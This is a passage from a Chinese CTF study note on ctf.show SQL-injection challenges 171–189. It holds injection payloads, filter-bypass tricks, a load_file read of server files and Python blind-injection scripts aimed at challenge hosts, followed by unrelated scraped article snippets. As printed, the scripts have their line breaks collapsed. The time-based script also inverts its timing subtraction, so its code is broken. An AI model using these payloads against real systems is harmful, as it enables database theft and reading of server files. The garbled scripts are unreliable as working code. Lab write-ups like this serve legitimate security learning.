ctf_show笔记篇(web入门---sql注入)171-189

sql注入

171:简单的sql注入,尝试万能密码直接过

172:基础联合查询可过

173:过滤flag那就利用substr少取几个flag的名字或者replace

174:两种方法,使用盲注或者利用replace嵌套替换,然后在逆替换

例如:原理,flag是十六进制的,最大到f所以可以用后面的英文来替换

-1"'union select substr(username,2,5),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,0,'g'),1,'h'),2,'i'),3,'j'),4,'k'),5,'l'),6,'m'),7,'n'),8,'o'),9,'p') from ctfshow_user4-- adsf

再利用python或者其他或者人工逆向替换回来

175:1.将数据写入文件  2.时间盲注,一般用python写脚本

1.

利用into outfile来将查询到的表的内容写入到服务器的文件里

但这种情况一般需要知道web的地址例如/var/www/html/

2.

import requests
from time import timeurl = r'http://4458cad3-9e4d-4cdd-b35d-92e9c0cba734.challenge.ctf.show/select-no-waf-5.php/api/v5.php?id='
flag = ''
a = 0
for i in range(1, 1000):print(f'第{i}次')high = 128low = 30while low <= high:a += 1print(a)mid = (low + high) // 2sql1 = f'\"\'union select \'a\',sleep(if(ascii(substr(select group_concat(password) from ctfshow_user5 where username=\'flag\'))={mid},2,0))-- asdf'sql2 = f'\"\'union select \'a\',sleep(if(ascii(substr(select group_concat(password) from ctfshow_user5 where username=\'flag\'))>{mid},2,0))-- asdf'sql3 = f'\"\'union select \'a\',sleep(if(ascii(substr(select group_concat(password) from ctfshow_user5 where username=\'flag\'))<{mid},2,0))-- asdf'start_time1 = time()req1 = requests.get(url=url+sql1)end_time1 = time()start_time2 = time()req2 = requests.get(url=url + sql2)end_time2 = time()start_time3 = time()req3 = requests.get(url=url + sql3)end_time3 = time()if start_time1 - end_time1 >= 1:flag += chr(mid)breakelif start_time2 - end_time2 >= 1:low = mid + 1elif start_time3 - end_time3 >= 1:high = mid - 1print(mid)print(flag)

176:简单的过滤了select大小写绕过即可

177:简单的空格过滤,使用/**/绕过或者%0a

178:同样过滤空格但是也把/**/过滤掉了,所以使用%0a或者%0b这些

179:同样还是过滤空格,%0a和%0b都给过掉了,可以用%0c

180-181:在mysql里and优先级高于or

原理:and需要两边都为1返回true,例如1and1,但是or只需要一边为1则返回true

假如1 and 0 = 0,如果在后面加一个or 1呢,就会变成 1 and 0 or 1

1 and 0 or 1 == 1 and 1 == 1

payload:

11111'or%0cusername='flag

182:和181相同,flag用concat绕过                                                  ####想用进制绕过,不知道为什么报错

flag = concat('fl','ag')

183:利用python脚本使用regexp盲注

regexp查询以什么开头

import requests
import os# 这里是我设置的代理
os.environ['https_proxy'] = '127.0.0.1:8080'
os.environ['http_proxy'] = '127.0.0.1:8080'def main(a, b, c):while 1:for i in b:data = {'tableName': f'(ctfshow_user)where(pass)regexp(\'{c}{i}\')'}print(data)str = requests.post(url=a, data=data).textif '$user_count = 1;' in str:c += iprint(c)breakif __name__ == '__main__':flag = 'ctfshow{'url = 'http://d194e25b-86d1-4415-b762-f90f080dffe6.challenge.ctf.show/select-waf.php'q = '0123456789abcdefghijklmnopqrstuvwxyz-{}'main(url, q, flag)

184:这里主要是利用having函数,但是只能在group by函数后利用

在查询语句最后加上group by会把group by后的字段放在最前面,而having有点像是where,会过滤一下group by指定的字段

例如:group by camp having horde

那么下面的图片就只会出现horde这一行啦

另外:flag被过滤,但是可以使用进制替换,182题提过,但是不知道为什么182报错但是184可以用,有大佬的话可以提点一下

import requests
import osos.environ['http_proxy'] = '127.0.0.1:8080'
os.environ['https_proxy'] = '127.0.0.1:8080'def search(url, str1):global flagwhile True:for i in str1:c = flag + idata = {'tableName': f'ctfshow_user group by pass having pass regexp(0x{c.encode().hex()})'}re = requests.post(url, data).textif '$user_count = 1;' in re:flag += iprint(flag)breakif __name__ == '__main__':flag = 'ctfshow{'a = r'http://2d8ea9cc-0b3e-4bb2-86f7-e774825eaff1.challenge.ctf.show/select-waf.php'b = '0123456789{}abcdefg-_'search(a, b)

185-186:利用concat连接

这一题将数字全禁用了,所以得使用全字符串

concat和true拼接可以转换成数字,true相当于等于1

例如:

concat(true+true)  == 2      concat(true) == 1     concat(true, true) == 11

这里直接用了y4师傅的脚本

# @Author:Y4tacker
import requestsurl = "http://341e93e1-a1e7-446a-b7fc-75beb0e88086.chall.ctf.show/select-waf.php"flag = 'flag{'def createNum(n):num = 'true'if n == 1:return 'true'else:for i in range(n - 1):num += "+true"return numfor i in range(45):if i <= 5:continuefor j in range(127):data = {"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"}r = requests.post(url, data=data)if r.text.find("$user_count = 43;") > 0:if chr(j) != ".":flag += chr(j)print(flag.lower())if chr(j) == "}":exit(0)break

187:直接使用ffifdyop,逻辑绕过

188:  

mysql在查询的字母拿来和数字作比较的时候会把以字母开头的转换为0

intval让等号右边为数字0

payload:

username = 0

password = 0

189:  

此题提醒了flag在api/index.php,  大概率就是让用load_file来读取函数

可以使用盲注,  利用上一题提到的特性,  当查询的username为字母开头时会自动转变成0和数字对比,  那么可以传入

user = 0 或者 1   (当user为0时,  会报错登录失败,  当user为1时,  会报错查询失败)

pass = 随意

payload:

import requestsclass Payload(object):def __init__(self, url):self.url = urlself.flag = 'ctfshow{'self._payload = '0123456789abcdefg-}'def search(self):while 1:for i in self._payload:c = self.flag + ipayload = f'if(load_file(\'/var/www/html/api/index.php\')regexp(\'{c}\'),0,1)'data = {'username': payload,'password': '123'}# print(data)re = requests.post(self.url, data).textprint(re)if r"\u5bc6\u7801\u9519\u8bef" in re:self.flag += iprint(self.flag)breakdef main():url = 'http://70b8121f-7250-4840-ace4-4bf786560b5a.challenge.ctf.show/select-waf.php'a = Payload(url)a.search()if __name__ == '__main__':main()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/535248.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Vue.js+SpringBoot开发考研专业课程管理系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 数据中心模块2.2 考研高校模块2.3 高校教师管理模块2.4 考研专业模块2.5 考研政策模块 三、系统设计3.1 用例设计3.2 数据库设计3.2.1 考研高校表3.2.2 高校教师表3.2.3 考研专业表3.2.4 考研政策表 四、系统展示五、核…

AI在金融服务行业的现状及发展趋势

在金融服务行业中&#xff0c;AI的融入和应用已经成为推动该行业发展的关键力量。英伟达发布的第四届年度金融服务行业人工智能现状报告&#xff0c;揭示了2024年AI在金融领域的新兴趋势和应用前景。报告中指出&#xff0c;超过91%的金融服务公司正在评估或已经将AI技术应用到企…

企业跨平台传输大文件的重要性

企业运营的核心之一是数据的高效流通。跨平台传输大文件在企业的日常运作中扮演着至关重要的角色。无论是设计图纸、视频、音乐还是数据集&#xff0c;这些大型文件的快速、安全传输对于企业的创新、协作和决策支持都至关重要。本文将探讨企业跨平台传输大文件的重要性。 企业跨…

(Linux学习九)管道、重定向介绍

FD:文件描述符。 0,1,2,3&#xff0c;&#xff0c;&#xff0c;。进程打开文件所用。 0标准输入 1 标准输出 2 标准错误输出 3普通文件 一、管道 | 命令 | tee | xargs | 命令1的输出&#xff0c;作为命令2的输入&#xff0c;命令2的输出作为命令3的输入 | tee 三通&#xff…

STM32输入捕获频率和占空比proteus仿真失败

这次用了两天的时间来验证这个功能&#xff0c;虽然实验没有成功&#xff0c;但是也要记录一下&#xff0c;后面能解决了&#xff0c;回来再写上解决的办法&#xff1a; 这个程序最后的实验结果是读取到的CCR1和CCR2的值都是0&#xff0c;所以没有办法算出来频率和占空比。 还…

C#、C++、Java、Python 选择哪个好?

作者&#xff1a;网博汇智 链接&#xff1a;https://www.zhihu.com/question/298323023/answer/2789627224 来源&#xff1a;知乎 著作权归作者所有。商业转载请联系作者获得授权&#xff0c;非商业转载请注明出处。 一个好的程序员不能把自己绑定在一种语言上&#xff0c;不…

面试经典-11-接雨水

题目 给定 n 个非负整数表示每个宽度为 1 的柱子的高度图&#xff0c;计算按此排列的柱子&#xff0c;下雨之后能接多少雨水。 示例 1&#xff1a; 输入&#xff1a;height [0,1,0,2,1,0,1,3,2,1,2,1] 输出&#xff1a;6 解释&#xff1a;上面是由数组 [0,1,0,2,1,0,1,3,2,…

帮管客CRM(jiliyu)接口SQL注入漏洞

文章目录 前言声明一、漏洞描述二、影响版本三、漏洞复现四、修复建议 前言 帮管客CRM客户管理系统专注于为企业提供crm客户关系管理、crm管理系统、crm软件产品及企业销售管理流程解决方案服务,助力企业业绩增长。 声明 请勿利用文章内的相关技术从事非法测试&#xff0c;由…

普通人也能年入百万的超级秘籍!2024超级机会,低薪人的第二事业

一、选对行业与把握时机尤为关键。 入场时机的选择&#xff0c;往往决定了你的起跑线。那些在行业赛道上升期便早早布局的人&#xff0c;无疑占据了极大的优势。想象一下&#xff0c;你置身于一个市场需求持续增长、发展空间巨大的行业&#xff0c;成功的机会自然大增。比如现…

关于Oracle Primavera P6的各数据库帐号用途

在使用/维护P6时&#xff0c;经常会用到各种不同的P6数据库用户&#xff0c;如在连接配置P6 Professional时用到的公共帐号pubuser&#xff0c;进入后台维护p6配置信息(adminpv)或开发常连接的privuser&#xff0c;亦或是配置BI Report/BUSINESS Intelligence报表套件用到的pxr…

蓝桥杯-Python组(一)

1. 冒泡排序 算法步骤&#xff1a; 比较相邻元素&#xff0c;如果第一个大于第二个则交换从左往右遍历一遍&#xff0c;重复第一步&#xff0c;可以保证最大的元素在最后面重复上述操作&#xff0c;可以得到第二大、第三大、… n int(input()) a list(map(int, input()…

Java错误:微服务报错Cannot execute request on any known serve

&#x1f414;问题内容 报Cannot execute request on any known server 这个错&#xff1a;连接Eureka服务端地址不对。 &#x1f414;解决方式 检查.yml文件或者.properties文件配置 下划线下划线后面的小写字母等同于去掉下划线大写下划线后面的字母&#xff08;驼峰原则&am…